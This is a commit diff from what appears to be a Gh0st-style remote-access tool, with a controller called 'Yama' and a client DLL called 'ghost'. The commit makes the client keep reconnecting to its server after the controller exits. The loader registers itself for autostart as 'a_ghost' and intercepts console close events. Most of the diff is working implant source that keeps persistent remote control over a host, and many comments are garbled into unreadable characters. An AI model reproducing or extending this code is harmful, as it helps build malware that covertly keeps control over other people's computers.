区分开退出主控端和被控端2个消息
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。 明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
This commit is contained in:
@@ -181,3 +181,11 @@
|
||||
2019.4.4
|
||||
|
||||
ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。
|
||||
|
||||
2019.4.14
|
||||
|
||||
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。
|
||||
|
||||
2019.4.15
|
||||
|
||||
明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
|
||||
|
||||
@@ -9,10 +9,15 @@
|
||||
#include "KernelManager.h"
|
||||
using namespace std;
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
char g_szServerIP[MAX_PATH] = {0};
|
||||
unsigned short g_uPort = 0;
|
||||
bool g_bExit = false;
|
||||
bool g_bThreadExit = false;
|
||||
|
||||
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD><CBB3><EFBFBD>
|
||||
BOOL g_bExit = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
BOOL g_bThreadExit = 0;
|
||||
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
@@ -60,10 +65,14 @@ int main(int argc, const char *argv[])
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
|
||||
do{
|
||||
g_bExit = 0;
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}while (E_RUN == status && 1 != g_bExit);
|
||||
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -94,6 +103,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
g_bExit = false;
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
|
||||
@@ -109,16 +119,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
|
||||
|
||||
#endif
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = new IOCPClient();
|
||||
|
||||
g_bThreadExit = false;
|
||||
while (!g_bExit)
|
||||
{
|
||||
DWORD dwTickCount = GetTickCount();
|
||||
|
||||
@@ -118,7 +118,8 @@ enum
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE
|
||||
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -180,9 +180,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
if (This->m_Manager->m_bIsDead)
|
||||
{
|
||||
printf("****** Recv bye bye ******\n");
|
||||
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern bool g_bExit;
|
||||
g_bExit = true;
|
||||
// <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˺<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ضˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = This->m_Manager->m_bIsDead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,10 +74,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = true; //say goodbye
|
||||
OutputDebugStringA("======> Bye bye \n");
|
||||
m_bIsDead = 1;
|
||||
OutputDebugStringA("======> Client exit \n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
break;
|
||||
}
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 2;
|
||||
OutputDebugStringA("======> Server exit \n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
|
||||
@@ -14,7 +14,7 @@ class IOCPClient;
|
||||
class CManager
|
||||
{
|
||||
public:
|
||||
bool m_bIsDead; // bye-bye
|
||||
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
@@ -106,9 +106,9 @@ BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.5"
|
||||
VALUE "InternalName", "ServerDl.dll"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDl.dll"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
|
||||
@@ -12,6 +12,11 @@ StopRun stop = NULL;
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
IsStoped bStop = NULL;
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
IsStoped bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
struct CONNECT_ADDRESS
|
||||
{
|
||||
DWORD dwFlag;
|
||||
@@ -50,12 +55,26 @@ BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
status = 1;
|
||||
if(stop) stop();
|
||||
while(1==status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if(!SetSelfStart(argv[0], "a_ghost"))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
|
||||
}
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
char path[_MAX_PATH], *p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
@@ -66,6 +85,7 @@ int main(int argc, const char *argv[])
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (run)
|
||||
{
|
||||
char *ip = g_ConnectAddress.szServerIP;
|
||||
@@ -77,12 +97,13 @@ int main(int argc, const char *argv[])
|
||||
port = GetPrivateProfileIntA("remote", "port", 2356, path);
|
||||
}
|
||||
printf("[remote] %s:%d\n", ip, port);
|
||||
do
|
||||
{
|
||||
run(ip, port);
|
||||
#ifdef _DEBUG
|
||||
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
|
||||
if (stop) stop();
|
||||
while(bStop && !bStop()) Sleep(200);
|
||||
#endif
|
||||
while(bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
} while (bExit && !bExit() && 0 == status);
|
||||
}
|
||||
status = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -539,7 +539,7 @@ void CMy2015RemoteDlg::OnClose()
|
||||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||
#endif
|
||||
|
||||
BYTE bToken = COMMAND_BYE;
|
||||
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
|
||||
int n = m_CList_Online.GetItemCount();
|
||||
for(int Pos = 0; Pos < n; ++Pos)
|
||||
{
|
||||
|
||||
@@ -14,6 +14,13 @@
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if INDEPENDENT
|
||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
#else
|
||||
#define CLIENT_EXIT_WITH_SERVER 1
|
||||
#endif
|
||||
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
||||
|
||||
@@ -168,7 +168,8 @@ enum
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE
|
||||
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
};
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user